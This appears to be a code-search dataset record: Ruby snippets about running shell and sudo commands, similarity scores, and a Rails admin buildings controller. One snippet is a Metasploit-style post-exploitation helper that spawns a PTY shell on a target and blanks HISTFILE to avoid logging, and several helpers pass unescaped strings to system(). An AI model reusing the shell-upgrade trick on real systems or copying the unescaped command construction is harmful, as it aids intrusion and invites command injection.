"def extend_shell(sh, prefix)\n logfile.write \"\\n\" + prefix\n sh.instance_variable_set :@prep_log, logfile\n sh.instance_variable_set :@prep_prefix, \"\\n#{prefix}\"\n sh.instance_variable_set :@stat_count, -1\n sh.instance_variable_set :@stat_every, 128\n sh.instance_variable_set :@home_path, nil\n\n def sh.home_path\n @home_path ||= exec_ignore_code(\"eval echo \\\"~#{@options[:user]}\\\"\").to_s.split(\"\\n\").first.to_s.strip\n end\n\n def sh.with_stat(status, stat_every = 128)\n if @stat_count > -1\n yield\n else\n @stat_count = 0\n @stat_every = stat_every < 1 ? 128 : stat_every\n print status\n yield\n print \"\\n\"\n @stat_count = -1\n @stat_every = 128\n end\n end\n\n def sh.exec(cmd, options = {}, &block)\n super(cmd, options) do |data, type|\n @prep_log.write data.gsub(\"\\n\", @prep_prefix)\n @prep_log.flush\n if @stat_count > -1\n @stat_count += data.length\n while @stat_count >= @stat_every\n @stat_count -= @stat_every\n print '.'\n end\n end\n if block\n block.call data, type\n else\n nil\n end\n end\n end\n\n def sh.stat_exec(status, cmd, options = {}, &block)\n with_stat(status) { exec(cmd, options, &block) }\n end\n\n def sh.sudo_stat_exec(status, cmd, options = {}, &block)\n with_stat(status) { sudo_exec(cmd, options, &block) }\n end\n\n def sh.apt_get(command)\n sudo_exec \"DEBIAN_FRONTEND=noninteractive apt-get -y -q #{command}\"\n end\n\n def sh.get_user_id(user)\n result = exec_ignore_code(\"id -u #{user} 2>/dev/null\").to_s.split(\"\\n\")\n result.any? ? result.first.strip.to_i : 0\n end\n\n def sh.host_info\n @host_info ||=\n begin\n results = exec('cat /etc/*-release').split(\"\\n\").map{|s| s.strip}.reject{|s| s == ''}\n info = {}\n\n results.each do |line|\n if line.include?('=')\n var,_,val = line.partition('=').map{|s| s.strip}\n val = val[1...-1] if val[0] == '\"' && val[-1] == '\"'\n var.upcase!\n info[var] = val\n end\n end\n\n info['ID'] = (info['ID'] || 'unknown').downcase.to_sym\n info['NAME'] ||= info['ID'].to_s\n info['VERSION'] ||= '??'\n info['PRETTY_NAME'] ||= \"#{info['NAME']} #{info['VERSION']}\"\n\n puts info['PRETTY_NAME']\n\n info\n end\n end\n\n sh\n end",
"def execute(script, warning_message, run_as_root = false)\n if run_as_root\n result = system(script)\n else\n result = system(\"sudo su \" + ENV['SUDO_USER'] + \" -c '\" + script + \"'\")\n end\n\n if result.nil?\n STDERR.puts \"ERROR: \" + script + \" execution FAILED\"\n exit 1\n end\n\n unless result\n STDERR.puts \"WARNING: \" + warning_message\n end\n\n return result\nend",
"def shell_commands(cmd, args); end",
"def python_p(cmd)\n execute(\"python print(#{cmd})\")\n end",
"def bash(command)\n require 'shellwords'\n escaped_command = Shellwords.escape(command)\n system \"bash -c #{escaped_command}\"\nend",
"def atualAtaques\n system( \"cd sh && ./atual_ataques.sh\" )\nend",
"def really_wrap_posix_shell_code(code)\n my_command = <<-BASH\n echo \"Running as '$(whoami)'\"\n # create the modules folder, making sure it's done as current user (not root)\n mkdir -p #{config[:root_path]}/modules\n cd #{config[:root_path]}\n # Send the bash heredoc 'EOF' to the file kitchen_cmd.ps1 using the tool cat\n cat << 'EOF' > kitchen_cmd.ps1\n #!/usr/bin/env pwsh\n #{Util.outdent!(use_local_powershell_modules(code))}\n EOF\n chmod +x kitchen_cmd.ps1\n # Invoke the created kitchen_cmd.ps1 file using pwsh\n #{shell_cmd} ./kitchen_cmd.ps1\n BASH\n\n debug(Util.outdent!(my_command))\n Util.outdent!(my_command)\n end",
"def run_command_script(command)\n Open3.popen2e(\"ruby #{command}\") do |stdin, stdout_err|\n while line = stdout_err.gets\n puts line\n end\n end\n end",
"def sh(command)\n puts command\n system command unless dry_run\nend",
"def run\n if @options['file']\n execute_script @options['file']\n elsif @options['command']\n execute @options['command']\n else\n interactive_shell\n puts \n end\n end",
"def make_console_accessible(name)\n File.open(File.join(KVM_MOUNT_POINT, name, 'etc', 'init', 'ttys0.conf'), 'w') do |file|\n file.puts \"start on stopped rc RUNLEVEL=[2345]\"\n file.puts \"stop on runlevel [!2345]\"\n file.puts\n file.puts \"respawn\"\n file.puts \"exec /sbin/getty -L 38400 ttyS0 vt102\"\n end\nend",
"def sudo *args\n Kitchenplan::Log.info run_privileged(*args)\n raise RuntimeError,\"'#{run_privileged(*args)}' returned non-zero\" unless system(run_privileged(*args))\n end",
"def run_with_admin_privileges(file, *args)\n require 'win32ole'\n shell = WIN32OLE.new('Shell.Application')\n shell.ShellExecute('ruby', \"#{file} #{args.join(' ')}\", nil, 'runas', 1)\n end",
"def exec_cmd(cmd, as_su: false, chdir: nil)\n cmd = cmd.map(&:to_s).map(&:shell_escape).join(\" \") if cmd.is_a?(Array)\n\n full_cmd = as_su ? \"sudo #{cmd}\" : cmd\n\n run_mode = defined?(@run_mode) ? @run_mode : :normal\n\n really_run = case run_mode\n when :normal then true\n when :paranoid\n ask(\"Do you want to run command `#{full_cmd}`\")\n when :dry then false\n else true\n end\n\n if really_run || run_mode == :dry\n tell(as_su ? \"{m{[sudo]}} #{cmd}\" : cmd)\n end\n\n status = nil\n if really_run\n if chdir\n FileUtils.cd(chdir) do\n status = system(full_cmd)\n end\n else\n status = system(full_cmd)\n end\n warning(\"Command `#{full_cmd}` failed.\") unless status\n end\n status\n end",
"def try_sudo(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n command = args.shift\n raise ArgumentError, \"too many arguments\" if args.any?\n\n as = options.fetch(:as, fetch(:admin_runner, nil))\n via = fetch(:run_method, :sudo)\n if command\n invoke_command(command, :via => via, :as => as)\n elsif via == :sudo\n sudo(:as => as)\n else\n \"\"\n end\n end",
"def try_sudo(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n command = args.shift\n raise ArgumentError, \"too many arguments\" if args.any?\n\n as = options.fetch(:as, fetch(:admin_runner, nil))\n via = fetch(:run_method, :sudo)\n if command\n invoke_command(command, :via => via, :as => as)\n elsif via == :sudo\n sudo(:as => as)\n else\n \"\"\n end\n end",
"def try_sudo(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n command = args.shift\n raise ArgumentError, \"too many arguments\" if args.any?\n\n as = options.fetch(:as, fetch(:admin_runner, nil))\n via = fetch(:run_method, :sudo)\n if command\n invoke_command(command, :via => via, :as => as)\n elsif via == :sudo\n sudo(:as => as)\n else\n \"\"\n end\n end",
"def getSudoCommand(localOption, warnIfMismatch = true)\n return '' unless shouldUseSudo localOption, warnIfMismatch\n\n 'sudo '\nend",
"def run_command\n do_on_interactive_process do |match|\n @logger.debug \"Read: #{match}\"\n exec_each_prompt match[1]\n end\n end",
"def exec(command, options = {})\n output = nil\n errors = options[:errors]\n verbose = self.verbose || options[:verbose]\n command = \"sudo -n #{command}\" if options[:sudo]\n\n puts command if verbose\n Open3.popen3(command) do |i,o,e,t|\n if t.value.success?\n output = o.read\n else\n error = e.read\n warn \"Warning: #{error}\" if verbose\n raise Errors::InterfaceOperationError, error if errors\n end\n end\n output\n end",
"def sudo(*args, &block)\n if block_given?\n as *args, &block\n else\n method_missing(:sudo, *args)\n end\n end",
"def shell_cmd\n if !config[:shell].nil?\n config[:sudo] ? \"sudo #{config[:shell]}\" : \"#{config[:shell]}\"\n elsif windows_os?\n \"powershell\"\n else\n config[:sudo] ? \"sudo pwsh\" : \"pwsh\"\n end\n end",
"def pty_shell(sh_path)\n sh_path = client.fs.file.exist?(sh_path) ? sh_path : '/bin/sh'\n\n # Python Meterpreter calls pty.openpty() - No need for other methods\n if client.arch == 'python'\n cmd_execute('-f', sh_path, '-c', '-i')\n return true\n end\n\n # Check for the following in /usr{,/local}/bin:\n # script\n # python{,2,3}\n # socat\n # expect\n paths = %w[\n /usr/bin/script\n /usr/bin/python\n /usr/local/bin/python\n /usr/bin/python2\n /usr/local/bin/python2\n /usr/bin/python3\n /usr/local/bin/python3\n /usr/bin/socat\n /usr/local/bin/socat\n /usr/bin/expect\n /usr/local/bin/expect\n ]\n\n # Select method for spawning PTY Shell based on availability on the target.\n path = paths.find { |p| client.fs.file.exist?(p) }\n\n return false unless path\n\n # Commands for methods\n cmd =\n case path\n when /script/\n if client.platform == 'linux'\n \"#{path} -qc #{sh_path} /dev/null\"\n else\n # script(1) invocation for BSD, OS X, etc.\n \"#{path} -q /dev/null #{sh_path}\"\n end\n when /python/\n \"#{path} -c 'import pty; pty.spawn(\\\"#{sh_path}\\\")'\"\n when /socat/\n # sigint isn't passed through yet\n \"#{path} - exec:#{sh_path},pty,sane,setsid,sigint,stderr\"\n when /expect/\n \"#{path} -c 'spawn #{sh_path}; interact'\"\n end\n\n # \"env TERM=xterm\" provides colors, \"clear\" command, etc. as available on the target.\n cmd.prepend('env TERM=xterm HISTFILE= ')\n\n print_status(cmd)\n cmd_execute('-f', cmd, '-c', '-i')\n\n true\n end",
"def run_as_user(&block)\n run_command true, &block\n end",
"def exec(command)\n ensure_mode(:privileged)\n run(command)\n end",
"def execute(input: $stdin, output: $stdout)\n heading 'Only press [a,s,d,f or x]'\n\n reader = TTY::Reader.new\n\n exiting = false\n\n reader.on(:keypress) do |event|\n prompt.say event.value if event.value == 'a'\n prompt.warn event.value if event.value == 's'\n prompt.error event.value if event.value == 'd'\n prompt.ok event.value if event.value == 'f'\n\n if event.value == 'x'\n prompt.warn 'e[x]iting....'\n exiting = true\n end\n end\n\n until exiting do reader.read_keypress end\n\n heading 'Press any key or ^x or Esc to exit'\n\n reader = TTY::Reader.new\n\n exiting = false\n\n reader.on(:keypress) do |event|\n puts event.value\n end\n reader.on(:keyctrl_x, :keyescape) do\n prompt.warn 'e[x]iting....'\n exiting = true\n end\n\n until exiting do reader.read_keypress end\n\n :gui\n end",
"def execute(input: $stdin, output: $stdout)\n prompt = TTY::Prompt.new\n\n return :gui\n end",
"def suexec(cmd_str, done_string = nil, stdin = nil)\n error_buffer = \"\"\n output_buffer = \"\"\n prompt = \"\"\n cmd_rx = \"\"\n status = 0\n signal = nil\n state = :initial\n header = \"#{self.class}##{__method__}\"\n\n run_session do |ssh|\n temp_cmd_file(cmd_str) do |cmd|\n ssh.open_channel do |channel|\n # now we request a \"pty\" (i.e. interactive) session so we can send data back and forth if needed.\n # it WILL NOT WORK without this, and it has to be done before any call to exec.\n channel.request_pty(:chars_wide => 256) do |_channel, success|\n raise \"Could not obtain pty (i.e. an interactive ssh session)\" unless success\n end\n\n channel.on_data do |channel, data|\n $log&.debug(\"#{header} - state: [#{state.inspect}] STDOUT: [#{data.hex_dump.chomp}]\")\n if state == :prompt\n # Detect the common prompts\n # someuser@somehost ... $ rootuser@somehost ... # [someuser@somehost ...] $ [rootuser@somehost ...] #\n prompt = data if data =~ /^\\[*[\\w\\-\\.]+@[\\w\\-\\.]+.+\\]*[\\#\\$]\\s*$/\n output_buffer << data\n unless done_string.nil?\n data.each_line { |l| return output_buffer if done_string == l.chomp }\n end\n\n if output_buffer[-prompt.length, prompt.length] == prompt\n return output_buffer[0..(output_buffer.length - prompt.length)]\n end\n end\n\n if state == :command_sent\n cmd_rx << data\n state = :prompt if cmd_rx == \"#{cmd}\\r\\n\"\n end\n\n if state == :password_sent\n prompt << data.lstrip\n if data.strip =~ /\\#/\n $log&.debug(\"#{header} - Superuser Prompt detected: sending command #{cmd}\")\n channel.send_data(\"#{cmd}\\n\")\n state = :command_sent\n end\n end\n\n if state == :initial\n prompt << data.lstrip\n if data.strip =~ /[Pp]assword:/\n prompt = \"\"\n $log&.debug(\"#{header} - Password Prompt detected: sending su password\")\n channel.send_data(\"#{@su_password}\\n\")\n state = :password_sent\n end\n end\n end\n\n channel.on_extended_data do |_channel, _type, data|\n $log&.debug(\"#{header} - STDERR: #{data}\")\n error_buffer << data\n end\n\n channel.on_request('exit-status') do |_channel, data|\n status = data.read_long\n $log&.debug(\"#{header} - STATUS: #{status}\")\n end\n\n channel.on_request('exit-signal') do |_channel, data|\n signal = data.read_string\n $log&.debug(\"#{header} - SIGNAL: #{signal}\")\n end\n\n channel.on_eof do |_channel|\n $log&.debug(\"#{header} - EOF RECEIVED\")\n end\n\n channel.on_close do |_channel|\n error_buffer << prompt if [:initial, :password_sent].include?(state)\n $log&.debug(\"#{header} - Command: #{cmd}, exit status: #{status}\")\n raise \"#{header} - Command #{cmd}, exited with signal #{signal}\" unless signal.nil?\n unless status.zero?\n raise \"#{header} - Command #{cmd}, exited with status #{status}\" if error_buffer.empty?\n raise \"#{header} - Command #{cmd} failed: #{error_buffer}, status: #{status}\"\n end\n return output_buffer\n end\n\n $log&.debug(\"#{header} - Command: [#{cmd_str}] started.\")\n su_command = @su_user == 'root' ? \"su -l\\n\" : \"su -l #{@su_user}\\n\"\n\n channel.exec(su_command) do |chan, success|\n raise \"#{header} - Could not execute command #{cmd}\" unless success\n if stdin.present?\n chan.send_data(stdin)\n chan.eof!\n end\n end\n end\n end\n ssh.loop\n end\n end",
"def format_ruby_command(shell_script_file_path, *arguments)\n return format_executable_command(sandbox_ruby, *([shell_script_file_path] + arguments))\n end",
"def exec(cmd)\n puts cmd\n `#{cmd}`\nend",
"def shell(command, output: false)\n command += ' > /dev/null 2>&1' if !output\n system(command)\nrescue => e\n lex(e, \"Failed to execute shell command: #{command}\")\nend",
"def execute_interactively(host, command)\n user = host.user\n hostname = host.hostname\n port = host.port || 22\n\n # execute in shell\n exec \"ssh -l #{user} #{hostname} -p #{port} -t '#{command}'\"\nend",
"def try_sudo(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n command = args.shift\n raise ArgumentError, \"too many arguments\" if args.any?\n\n as = options.fetch(:as, fetch(:admin_runner, nil))\n via = fetch(:run_method, :sudo)\n if command\n invoke_command(command, :via => via, :as => as)\n elsif via == :sudo\n sudo(:as => as)\n else\n \"\"\n end\n end",
"def execute(input)\n unless input.strip.empty? || input.strip[0] == \"!\"\n log_history_command(input.strip)\n end\n\n #Morpheus::Logging::DarkPrinter.puts \"Shell command: #{input}\"\n input = input.to_s.strip\n\n # allow pasting in commands that have 'morpheus ' prefix\n if input[0..(prog_name.size)] == \"#{prog_name} \"\n input = input[(prog_name.size + 1)..-1] || \"\"\n end\n if !input.empty?\n\n if input == 'exit'\n #print cyan,\"Goodbye\\n\",reset\n #@history_logger.info \"exit\" if @history_logger\n @exit_now_please = true\n return 0\n #exit 0\n elsif input == 'help'\n out = \"\"\n if @temporary_shell_mode\n out << \"You are in a (temporary) morpheus shell\\n\"\n else\n out << \"You are in a morpheus shell.\\n\"\n end\n out << \"See the available commands below.\\n\"\n\n out << \"\\nCommands:\\n\"\n # commands = @morpheus_commands + @shell_commands\n # @morpheus_commands.sort.each {|cmd|\n # out << \"\\t#{cmd.to_s}\\n\"\n # }\n sorted_commands = Morpheus::Cli::CliRegistry.all.values.sort { |x,y| x.command_name.to_s <=> y.command_name.to_s }\n sorted_commands.each {|cmd|\n # JD: not ready to show description yet, gotta finish filling in every command first\n # maybe change 'View and manage' to something more concise like 'Manage'\n # out << \"\\t#{cmd.command_name.to_s.ljust(28, ' ')} #{cmd.command_description}\\n\"\n out << \"\\t#{cmd.command_name.to_s}\\n\"\n }\n #puts \"\\n\"\n out << \"\\nShell Commands:\\n\"\n @shell_commands.each {|cmd|\n # out << \"\\t#{cmd.to_s.ljust(28, ' ')} #{@shell_command_descriptions ? @shell_command_descriptions[cmd] : ''}\\n\"\n out << \"\\t#{cmd.to_s}\\n\"\n }\n out << \"\\n\"\n out << \"For more information, see https://clidocs.morpheusdata.com\"\n out << \"\\n\"\n print out\n return 0\n elsif input =~ /^\\s*#/\n Morpheus::Logging::DarkPrinter.puts \"ignored comment: #{input}\" if Morpheus::Logging.debug?\n return 0\n elsif input == 'clear'\n print \"\\e[H\\e[2J\"\n return 0\n elsif input == 'reload' || input == 'reload!'\n # clear registry\n Morpheus::Cli::CliRegistry.instance.flush\n # reload code\n Morpheus::Cli.reload!\n # execute startup scripts\n if File.exist?(Morpheus::Cli::DotFile.morpheus_profile_filename)\n Morpheus::Cli::DotFile.new(Morpheus::Cli::DotFile.morpheus_profile_filename).execute()\n end\n if File.exist?(Morpheus::Cli::DotFile.morpheusrc_filename)\n Morpheus::Cli::DotFile.new(Morpheus::Cli::DotFile.morpheusrc_filename).execute()\n end\n # recalculate shell environment\n reinitialize()\n\n Morpheus::Logging::DarkPrinter.puts \"shell has been reloaded\" if Morpheus::Logging.debug?\n return 0\n elsif input == '!!'\n cmd_number = @history.keys[-1]\n input = @history[cmd_number]\n if !input\n puts \"There is no previous command\"\n return false\n end\n return execute(input)\n elsif input =~ /^\\!.+/\n cmd_number = input.sub(\"!\", \"\").to_i\n if cmd_number != 0\n old_input = @history[cmd_number]\n if !old_input\n puts \"Command not found by number #{cmd_number}\"\n return 0\n end\n #puts \"executing history command: (#{cmd_number}) #{old_input}\"\n # log_history_command(old_input)\n # remove this from readline, and replace it with the old command\n Readline::HISTORY.pop\n Readline::HISTORY << old_input\n return execute(old_input)\n end\n\n elsif input == \"insecure\"\n Morpheus::RestClient.enable_ssl_verification = false\n return 0\n\n elsif [\"hello\",\"hi\",\"hey\",\"hola\"].include?(input.strip.downcase)\n user_msg = input.strip.downcase\n # need a logged_in? method already damnit\n wallet = Morpheus::Cli::Credentials.new(@appliance_name, @appliance_url).load_saved_credentials\n help_msg = case user_msg\n when \"hola\"\n \"¿como puedo ayudarte? tratar #{cyan}help#{reset}\"\n else\n \"how may I #{cyan}help#{reset} you?\"\n end\n greeting = \"#{user_msg.capitalize}#{wallet ? (' '+green+wallet['username'].to_s+reset) : ''}, #{help_msg}#{reset}\"\n puts greeting\n return 0\n elsif input.strip =~ /^shell\\s*/\n # just allow shell to fall through\n # we should reload the configs and history file after the sub shell process terminates though.\n # actually, that looks like it is working just fine already...?\n print cyan,\"starting a subshell\",reset,\"\\n\"\n elsif input =~ /^\\.\\s/\n # dot alias for source <file>\n log_history_command(input)\n return Morpheus::Cli::SourceCommand.new.handle(input.split[1..-1])\n end\n exit_code, err = 0, nil\n begin\n argv = Shellwords.shellsplit(input)\n cmd_name = argv[0]\n cmd_args = argv[1..-1]\n # crap hack, naming conflicts can occur with aliases\n @return_to_log_level = [\"log-level\",\"debug\"].include?(cmd_name) ? nil : Morpheus::Logging.log_level\n @return_to_coloring = [\"coloring\"].include?(cmd_name) ? nil : Term::ANSIColor::coloring?\n @return_to_benchmarking = [\"benchmark\"].include?(cmd_name) ? nil : Morpheus::Benchmarking.enabled?\n \n #if Morpheus::Cli::CliRegistry.has_command?(cmd_name) || Morpheus::Cli::CliRegistry.has_alias?(cmd_name)\n #log_history_command(input)\n # start a benchmark, unless the command is benchmark of course\n if my_terminal.benchmarking || cmd_args.include?(\"-B\") || cmd_args.include?(\"--benchmark\")\n if cmd_name != 'benchmark' # jd: this does not work still 2 of them printed.. fix it!\n # benchmark_name = \"morpheus \" + argv.reject {|it| it == '-B' || it == '--benchmark' }.join(' ')\n benchmark_name = argv.reject {|it| it == '-B' || it == '--benchmark' }.join(' ')\n start_benchmark(benchmark_name)\n end\n end\n exit_code, err = Morpheus::Cli::CliRegistry.exec_expression(input)\n benchmark_record = stop_benchmark(exit_code, err) # if benchmarking?\n Morpheus::Logging::DarkPrinter.puts(cyan + dark + benchmark_record.msg) if benchmark_record\n # else\n # puts_error \"#{Morpheus::Terminal.angry_prompt}'#{cmd_name}' is not recognized. Use 'help' to see the list of available commands.\"\n # @history_logger.warn \"Unrecognized Command #{cmd_name}\" if @history_logger\n # exit_code, err = -1, \"Command not recognized\"\n # end\n rescue Interrupt\n # user pressed ^C to interrupt a command\n @history_logger.warn \"shell interrupt\" if @history_logger\n print \"\\nInterrupt. aborting command '#{input}'\\n\"\n exit_code, err = 9, \"aborted command\"\n rescue SystemExit => cmdexit\n # nothing to do, assume the command that exited printed an error already\n # print \"\\n\"\n if cmdexit.success?\n exit_code, err = cmdexit.status, nil\n else\n exit_code, err = cmdexit.status, \"Command exited early.\"\n end\n rescue => e\n # some other type of failure..\n @history_logger.error \"#{e.message}\" if @history_logger\n exit_code, err = Morpheus::Cli::ErrorHandler.new(my_terminal.stderr).handle_error(e) # lol\n \n ensure\n if @return_to_log_level\n Morpheus::Logging.set_log_level(@return_to_log_level)\n ::RestClient.log = Morpheus::Logging.debug? ? Morpheus::Logging::DarkPrinter.instance : nil\n @return_to_log_level = nil\n end\n if @return_to_coloring != nil\n Term::ANSIColor::coloring = @return_to_coloring\n @return_to_coloring = nil\n end\n if @return_to_benchmarking != nil\n Morpheus::Benchmarking.enabled = @return_to_benchmarking\n my_terminal.benchmarking = Morpheus::Benchmarking.enabled\n @return_to_benchmarking = nil\n end\n end\n\n return exit_code, err\n end\n\n end",
"def shell_script(filename, env=[], args=[])\n shell_script_crafted = \"/bin/bash -c \\\"#{env.join ' '} #{filename} #{args.join ' '} 2>/dev/null\\\"\"\n shell_script_crafted\nend",
"def desc\n \"Interactive TTY\"\n end",
"def execute(input: $stdin, output: $stdout)\n cursor = TTY::Cursor\n cursor.clear_screen\n\n process('Clear screen') { puts cursor.clear_screen }\n\n process('Clear 11 lines down') { puts cursor.clear_lines(11, :down) }\n\n process('Move to 1, 13/14 and clear line after') do\n puts cursor.move_to(1, 13)\n puts cursor.clear_line_after\n puts cursor.move_to(1, 14)\n puts cursor.clear_line_after\n end\n\n process('Move to 1, 15 and clear everything down') do\n puts cursor.move_to(1, 15)\n puts cursor.clear_screen_down\n end\n\n process('Move to 1, 15 and clear everything up') do\n puts cursor.move_to(1, 15)\n puts cursor.clear_screen_up\n end\n\n process('Scroll up') do\n prompt.warn @text\n prompt.keypress('', timeout: 2)\n puts cursor.scroll_up\n prompt.error @text\n prompt.keypress('', timeout: 2)\n puts cursor.scroll_up\n prompt.ok @text\n prompt.keypress('', timeout: 2)\n puts cursor.scroll_up\n prompt.warn @text\n prompt.keypress('', timeout: 2)\n puts cursor.scroll_up\n prompt.error @text\n puts cursor.scroll_up\n end\n\n :gui\n end",
"def list_sudo(user, acceptable_exit_codes = [0], &block)\n shell(\"sudo -l -U #{user}\", :acceptable_exit_codes => acceptable_exit_codes, &block)\nend",
"def exec cmd\n puts cmd\n system cmd or die\nend",
"def execute(input: $stdin, output: $stdout)\n prompt = TTY::Prompt.new\n\n choices = [\n {\n key: 'y',\n name: 'overwrite this file',\n value: :yes\n }, {\n key: 'n',\n name: 'do not overwrite this file',\n value: :no\n }, {\n key: 'q',\n name: 'quit; do not overwrite this file ',\n value: :quit\n }\n ]\n\n result = prompt.expand('Overwrite Gemfile?', choices)\n\n puts result\n\n result = prompt.expand('Overwrite Gemfile (with hint)?', choices, auto_hint: true)\n\n puts result\n\n result = prompt.expand('Overwrite Gemfile (via DSL)?') do |q|\n q.choice key: 'y', name: 'Overwrite' do :ok end\n q.choice key: 'n', name: 'Skip', value: :no\n q.choice key: 'a', name: 'Overwrite all', value: :all\n q.choice key: 'd', name: 'Show diff', value: :diff\n q.choice key: 'q', name: 'Quit', value: :quit\n end\n\n puts result\n\n :gui\n end"
] | [
"0.6606962",
"0.6447041",
"0.632292",
"0.6154565",
"0.61415946",
"0.61262715",
"0.60955",
"0.60740346",
"0.60740346",
"0.60096836",
"0.59833074",
"0.5982047",
"0.5980239",
"0.59406376",
"0.5897621",
"0.5881793",
"0.5819546",
"0.580513",
"0.5791032",
"0.57833654",
"0.5764396",
"0.5762539",
"0.5757185",
"0.5756428",
"0.57497096",
"0.5736664",
"0.5724424",
"0.57023567",
"0.5684879",
"0.5676361",
"0.5675618",
"0.564984",
"0.56387156",
"0.5637956",
"0.5626433",
"0.5563942",
"0.5547017",
"0.55403537",
"0.55270255",
"0.55250806",
"0.5518906",
"0.55155903",
"0.5513481",
"0.5497404",
"0.5496569",
"0.5478128",
"0.5466411",
"0.5451486",
"0.54482645",
"0.5446866",
"0.54362553",
"0.54357845",
"0.5422186",
"0.5407651",
"0.53964037",
"0.5393234",
"0.5389154",
"0.5389154",
"0.537682",
"0.53752625",
"0.5366618",
"0.53592503",
"0.53589916",
"0.5349307",
"0.5347986",
"0.5341591",
"0.533971",
"0.53297544",
"0.5324491",
"0.5318625",
"0.53070897",
"0.5306989",
"0.5305919",
"0.5300378",
"0.52887017",
"0.52887017",
"0.52887017",
"0.5288591",
"0.5279664",
"0.5279413",
"0.5272567",
"0.52599764",
"0.525976",
"0.52557635",
"0.5254947",
"0.525311",
"0.52466834",
"0.52435756",
"0.5239366",
"0.5235044",
"0.5234572",
"0.52277064",
"0.5223331",
"0.52199364",
"0.52021605",
"0.5201944",
"0.5201109",
"0.51932687",
"0.51893187",
"0.5187858"
] | 0.5193582 | 97 |
GET /admin/buildings GET /admin/buildings.json | def index
@admin_buildings = Admin::Building.search(params[:search]).where(user: current_user).where(parent_id: nil).order(parent_id: :asc)
@admin_buildings = buildings(current_user)
@export = Admin::Building.where(user: current_user).order(parent_id: :asc)
respond_to do |format|
format.html
format.xlsx {
response.headers['Content-Disposition'] = 'attachment; filename="Buildings.xlsx"'
}
format.js { render :layout => false }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @buildings = Building.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json :@buildings }\n end\n end",
"def index\n @buildings = Building.all\n end",
"def getbuildings\n \n puts params\n custid = params[\"custormerid\"]\n puts custid\n \n buildings = Building.where(:customer_id => custid)\n puts buildings.inspect\n respond_to do |format|\n puts \"pppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp\"\n format.json { render json: buildings }\n end\n \n\n end",
"def index\n @complex_buildings = ComplexBuilding.all\n end",
"def index\n @buildings = @buildings.order(:name)\n session[:sidebar] = 'building'\n\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.json { render json: @buildings }\n end\n end",
"def index\n @builds = Build.all\n render json: @builds\n end",
"def get_building\n #check if customer is passed as parameter\n if params[:customer].present?\n #same thing than : select building_id from customer where customer.id = id \n @buildings = Customer.find(params[:customer]).buildings\n \n else\n #if non id is given select all the buildings that are refered in the customer table\n @buildings = Customer.all\n end\n \n if request.xhr?\n #if no error \n #build response \n respond_to do |format|\n #make a json format for the response \n format.json {\n #send the list of corresponding buildings \n render json: {buildings: @buildings}\n }\n end\n end\n end",
"def get_buildings_for_customer\n puts \"get_buildings_for_customer\"\n puts params\n @buildings = Building.where(\"customer_id = ?\", params[:customer_id])\n puts \"here are the buildings:\"\n puts @buildings\n respond_to do |format|\n format.json { render :json => @buildings }\n end\n end",
"def index\n @building = Building.find(params[:building_id])\n @listings = Listing.all\n end",
"def index\n @buildingdetails = Buildingdetail.all\n end",
"def show\n @building_type = BuildingType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @building_type }\n end\n end",
"def building_list(property_id)\n perform_get_request(\"/property/#{property_id}/building/list\")\n end",
"def building_select\n p params[\"customer_id\"]\n @buildings = Building.where(customer_id: params[\"customer_id\"])\n respond_to do |format |\n format.json {\n render json: {\n buildings: @buildings\n }\n }\n end\n end",
"def index\n @builds = current_application.builds\n @build = current_application.builds.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @builds }\n end\n end",
"def index\n @buildings = Building.find(:all, :include => :floors )\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @buildings }\n end\n end",
"def building(building_id)\n perform_get_request(\"/building/#{building_id}\")\n end",
"def find_building_by_id\n\t\tresponse = @service.fetch_building_by_id(selected_building_id, true, patient_data)\n\t\trender json: response\n\tend",
"def building\n if params[:customer].present?\n @building = Building.where(customer_id:params[:customer])\n else\n @building = Building.all\n end\n # Now i just need to send back a json response, as well as handle the original html response.(same for battery and elevator)\n respond_to do |format|\n format.json {\n render json: {building: @building}\n }\n end\n end",
"def create\n @admin_building = Admin::Building.new(admin_building_params)\n @admin_building.user = current_user\n respond_to do |format|\n if @admin_building.save\n\n @admin_buildings = buildings(current_user)\n\n create_default_service(@admin_building)\n\n format.html { redirect_to @admin_building, notice: t(:building_notice_created) }\n format.json { render :show, status: :created, location: @admin_building }\n format.js { render :layout => false }\n else\n format.html { render :new }\n format.json { render json: @admin_building.errors, status: :unprocessable_entity }\n format.js { render :layout => false }\n end\n end\n end",
"def my_buildings\n \n end",
"def index\n @apartments = @building.apartments\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apartments }\n end\n end",
"def index\n @builds = Build.all\n end",
"def index\n @builds = Build.all\n end",
"def index\n if params[:search].nil? || params[:search].empty?\n @buildings = Building.paginate(page: params[:page])\n else\n @buildings = search_buildings(params[:search])\n end\n end",
"def building_and_grounds\n bag = SuperSuperCategory.find_by(name: \"Facilities\")\n super_categories = bag.super_categories\n\n if params[:org]\n @data = build_from_super_super_categories(super_categories, params[:org].to_i)\n else\n @data = build_from_super_super_categories(super_categories, 0)\n end\n\n render json: @data\n end",
"def show\n @building = Building.find(params[:id])\n\n if stale? @building\n render json: @building\n end\n end",
"def list_buildings(buildings)\n \tbuildings.each do |place|\n\t\tputs \"#{buildings.index(place)}: #{place}\"\n\tend\nend",
"def index\n @buildings = Building.find_near_me(search_params)\n end",
"def update\n respond_to do |format|\n if @admin_building.update(admin_building_params)\n @admin_buildings = buildings(current_user)\n\n format.html { redirect_to @admin_building, notice: t(:building_notice_updated) }\n format.json { render :show, status: :ok, location: @admin_building }\n format.js { render :layout => false }\n else\n format.html { render :edit }\n format.json { render json: @admin_building.errors, status: :unprocessable_entity }\n format.js { render :layout => false }\n end\n end\n end",
"def search\n @buildings = Building.search(params[:longitude], params[:latitude])\n\n if stale? last_modified: @buildings.maximum(:updated_at)\n render json: @buildings\n end\n end",
"def get_brandings\n request :get, \"/v3/brandings.json\"\n end",
"def buildings\n Building.where(\n user_id: users.map(&:id)\n )\n end",
